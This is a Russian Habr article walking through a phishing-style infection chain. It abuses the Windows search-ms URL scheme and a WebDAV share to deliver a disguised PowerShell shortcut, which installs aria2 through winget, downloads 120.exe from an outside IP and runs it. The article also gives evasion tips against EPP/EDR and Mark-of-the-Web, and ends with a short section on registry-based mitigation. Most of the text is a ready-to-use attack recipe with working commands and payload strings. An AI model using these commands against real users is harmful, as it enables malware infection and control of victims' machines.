Заражение по фэншую или разбор атаки через уязвимости Windows

image

Хабр, уже по сложившейся традиции сегодня мы разберем одну из интересных APT-атак на пользователей, в которой используется не стандартный способ доставки, маскировки, а также заражения системы с обходом EPP и EDR! Данный материал будет полезен сотрудникам SOC, TI-экспертам, Pentest и Threat Hunting — специалистам. 

Дисклеймер! Прочитав статью, читатель получит практическое представление о возможных действиях атакующих и способах проведения учений. Специалисты по информационной безопасности ознакомятся с рекомендациями по защите инфраструктуры в рамках контракта или трудовых соглашений. Помните, что любое использование представленной информации должно быть ограничено рамками обучения. Автор не несет ответственности за любые негативные последствия, возникающие в результате неправомерного использования материалов статьи и полученных из нее сведений.


Шаг 0. Концепция атаки

Классически доставка первого этапа осуществляется обыденными способами: почта, мессенджеры, брошенные флешки и т.д. Передаваемых через них файлы давно под подозрением и СЗИ (средства защиты информации) обычно блокируют их, используя статический и динамический анализы. Однако данная атака завязана на особенности работы проводника Windows, а точнее эксплуатации сервиса ms-search, которого можно заставить искать вредоносные файлы на стороннем сервере.

Ожидаемое поведение от ms-search, при поиске .exe файлов:

image

Обращение к сервису с использованием строки аргументов:

search-ms:displayname=Search Results in Data (D:)&crumb=fileextension:~<.exe OR System.Generic.String:.exe&crumb=location:D:\

Сервису search-ms переданы аргументы для поиска файлов, которые подробно рассмотрим ниже:


  • displayname отобразит любой текст в строке для уведомления пользователя о локации поиска;
  • аргумент crumb позволит определить фильтры и место поиска;
  • query, также может быть использован для фильтрации данных.

Зловредное обращение выглядит следующим образом:

search-ms:query=.exe&crumb=location:\\95.173.18.16\DavWWWRoot\&displayname=Update

image

Используя параметр query, фильтруются файлы по маске .exe, а параметр crumb через UNC — пути определяет доступ до сервера, на котором уже и хранится вредоносное ПО. Microsoft частично позаботились о безопасности таких файлов и на каждый материал, полученный из сети ставит метку в альтернативном потоке данных MOTW, который считывается, при открытии и отображается в виде предупреждения.

image

Однако данный механизм все равно сложен и подозрителен для конечного пользователя, минимально подготовленный сотрудник уже в курсе, что он вряд ли найдет в файле формата .exe, что полезное для себя. Усовершенствовав данных механизм, получилась следующая схема атаки на пользователя в рамках учений, данный материал также может использоваться в рамках «Антифишинг учений».

image

Для доставки вредоносного запроса ms-search используются URL-схемы, замаскировав их под кнопку на сайте или иной элемент. Схема позволяет обратиться к стороннему серверу, где уже подготовлен вредонос заражения — первого этапа. Не приметный файл формата «pdf» запускается пользователем, под видом загруженного и реализует скачивание второго этапа с основным ядром вредоноса. После чего система заражена, рассмотрим это на практике.


Шаг 1. Этап доставки

На данном этапе собираются файлы доставки и поднимается инфраструктура, в которой будет находиться пользователь в момент заражения. Так же необходимо учесть особенности работы информационно вычислительной сети и СЗИ, которые могут детектировать вредоносную активность. 


Relay-сервер

Для реализации доставки необходимо поднять сервер, к которому будет происходить обращение от клиента и поиск вредоносного файла на нем. Требованиями к данному этапу являются:


  • отсутствие аутентификации с целью упрощения пути заражения;  
  • ограничения доступа на редактирование другими лицами;
  • близко доступность сервиса до клиента.

Последний пункт обусловлен недостатком данного метода доставки, так как для работы поднимается служба со стороны клиента и только затем обращается к серверу, направляя запросы Propfind, Get. Все это может занять время от 10 до 15 секунд, в то время как у клиента это будет выглядеть, будто зависшее приложение. В качестве ПО возьмем WsgiDav-сервер написанный на Python и поднимем командой:

wsgidav --host 0.0.0.0 --port 80 --root /tmp/Minfin --auth anonymous

image

Укажем доступность сервера с любого интерфейса, стандартный порт 80 и корневую папку, в которой будет храниться вредонос первого этапа, а также параметр анонимной аутентификации. По умолчанию, корневая папка редактируется, однако, данный пункт можно изменить в конфигурации сервера. Перейдем к URL и рассмотрим способы доставки.


Запакованный URL

Для доставки зараженной ссылки пользователю, обычно используют письма с замаскированными элементами. К примеру, не навязчивое письмо с возможностью индексации ЗП сотрудника, с кнопкой содержащей ссылку снизу.

image

Однако обратите внимание, что URL-схемы есть у браузера, а не у почты поэтому возможность обратиться через письмо напрямую не получится, для этого необходимо также поднять веб-сервер. На которой уже произойдет редирект по схеме. 

Необходимо также выбрать корректный тег для HTML, ведь большинство почтовых клиентов научились детектировать фишинговые письма. Submit и кнопки по действию JS не подойдут, так как помечаются вредоносными или сам язык JS не поддерживается почтой. В таком случае привычный button Данный файл может иметь следующий примерный вид:

Redirecting...

Далее пользователю предложат открыть проводник и продолжить работу в нем.

image

После чего произойдет обращение к WebDav серверу и откроется отфильтрованное содержимое корневой папки ресурса обращения.


Шаг 2. Этап заражения 

Классические варианты тайпсквотинга, управляющих символов давно уже никого не удивят, а EPP и EDR решения запросто распознают популярные паттерны по Yara-правилам или динамическому анализу. Соответственно, необходимо использовать иное решение, которое не вызовет подозрений у пользователя. 

Так как к серверу мы подключаемся через клиент — проводник, то и отображение элементов происходит по правилам файла desktop.ini. Это значит, что в данном случае возможно использование токсичных ярлыков с открытием PowerShell. 

Открываем мастер создания ярлыков и выбираем стандартный путь к PowerShell. К этому пути мы можем добавить опции и команды, с которыми по умолчанию должен запуститься интерпретатор. Так как цель первого эксплойта не вместить в себя всю нагрузку вредоноса, а замаскироваться и загрузить второй с дальнейшим запуском, то необходимо маскировать обращение к северу. Для этого создадим обычный ярлык с путем к PS.

image

Выберем подходящую иконку для маскировки.

image

После необходимо начинить его логикой, де факто сейчас есть доступ к оболочке, а соответственно и возможность управления устройством относительно прав клиента, на котором запущено приложение. Обычно это пользователи без прав, но и этого вполне достаточно, чтобы открывать соединения и проводить изменения на устройстве. При составлении логики стоит исходить из:


  • Ограничений строки по символам;
  • Отказ от системных папок требующий права админа, а также утилит;
  • Малого размера файла эксплойта;
  • Маскировка под легитимный процесс;
  • Скрытие окон.

Если выбрать стандартную утилиту или объект для работы, Network object, Invoke Request, Bit-Transfer, то по поведенческому анализу сразу блокируется соединение и файл отправляется в карантин.

image

Соответственно необходимо использовать встроенные утилиты, которые будут на большинстве устройств, чтобы замаскироваться под легитимные процессы. К примеру, отлично подойдет winget — пакетный менеджер, который устанавливает сетевые соединения и скачивает необходимое ПО. 

Без прав администратора не получится указать новый ресурс и напрямую скачать вредоносный пакет, поэтому необходимо найти утилиту, которая будет устанавливаться и работать без прав администратора. А также функционально предназначенная на скачивание по протоколам HTTP. Одной из таких оказалась aria2 утилита с открытым исходным кодом, которая позволит загрузить вредонос. 

Составим логику работы первого эксплойта:

Установка утилиты → Обновление переменных сред → Скачивание вредоноса → Запуск второго этапа заражения

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe winget install aria2.aria2 -h;.(echo $PSHOME'\powershell.exe')'aria2c http://93.183.72.112/assets/120.exe';.\120.exe

Главная особенность строк кода заключалась в вызове чистой оболочки скрипта для обновления переменных сред, так как обратиться к утилите без этого сложно. Достаточно веская причина не использовать абсолютный путь — это ограничение по символам в строке пути ярлыка.

Логика работы реализована просто, без масок в названии файлов или каких либо альтернативных способов скрыться от сигнатурного, либо поведенческого анализа, так как используемые утилиты легитимны в системе. 

image

Проверим файл на сработки антивируса и заметим, что всего 4 сработки! А если использовать домен вместо Ip-адреса и протокол https вместо http, то возможно их станет еще меньше.

image

Осталось добавить любой бинарный файл или инструкции на сервер по адресу http://93.183.72.112/assets/ с названием 120.exe, а также вредонос первого этапа. В данном решении сохраняется MOTW метка и пользователь будет предупрежден о файле. Для того чтобы ее не было можно использовать любой файл, который не поддерживает MOTW и уже в него имплементировать код. Или можно использовать ПО, которые не распространяют MotW, как некоторые движки программирования вроде Java, Python, Ruby, а так же непосредственно Microsoft’s Visual Studio.

image

Но еще и файлы формата iso и vhd вообще их не поддерживают, так как метка ставится в файловой системе альтернативным потоком. А данное решение формата файла iso или vhd может содержать любую другую файловую систему, которая смонтируется в ОС. 


Шаг 3. Меры предотвращения атаки для сотрудников ИБ

Данная атака представляет собой линейный сценарий реализации, поэтому для нейтрализации вектора достаточно меры запрета открытия ms-search протокола через браузер, путём удаления ключей реестра. В Windows ключи HKEY_CLASSES_ROOT используются для хранения ассоциаций файловых типов и протоколов с приложениями. 

Именно среди них необходимо найти ассоциации с ms-search и search. Удаление ключей реестра, связанных с этими протоколами, приводит к тому, что операционная система и приложения больше не смогут использовать их для выполнения соответствующих действий. Это эффективно блокирует доступ к этим протоколам, предотвращая их использование, например, веб-браузерами. Выполните команды для предотвращения атаки:

reg delete HKEY_CLASSES_ROOT\search /f; reg delete HKEY_CLASSES_ROOT\search-ms /f

Особое внимание в данной цепочке стоит уделить URL схемам, так как ассоциаций протоколов и приложений большое множество.

image

Вполне возможен и иной вектор атаки через вредоносную ссылку в браузере по отношению к системному ПО, в том числе и офисным приложениям. По умолчанию, доступен даже Excel, поэтому чисто теоретически возможен запуск файла Excel просто по нажатию ссылки.

ms-excel:ofv|u|http://10.0.0.3/Book1.xlsx

Или подобный описанному ранее вектор, но уже с использованием SFTP протокола для передачи.

image

Вопрос безопасности URL-схем остается открытым, так как это явный вектор атаки с достаточно коротким путем для нарушителя в систему. Для нейтрализации подобного можно использовать, как радикальные меры — удаления ассоциаций протоколов, так и внедрения правил на SIEM, EPP, EDR, SOAR детекции и реагирования обращений к реестру важных ключей. 

К сожалению, вендоры не всегда торопятся исправлять уязвимости системы, поэтому достаточно важно проводить собственные research и анализ защищенности инфраструктуры, а также не забывать про Vulnerability Management.


Статья поддерживается командой Serverspace.

Serverspace — провайдер облачных сервисов, предоставляющий в аренду виртуальные серверы с ОС Linux и Windows в 8 дата-центрах: Россия, Беларусь, Казахстан, Нидерланды, Турция, США, Канада и Бразилия. Для построения ИТ-инфраструктуры провайдер также предлагает: создание сетей, шлюзов, бэкапы, сервисы CDN, DNS, объектное хранилище S3.

IT-инфраструктура | Кешбэк 17% по коду HABR

yum0upvqpmb1rcchboht0xncbsw.png

© Habrahabr.ru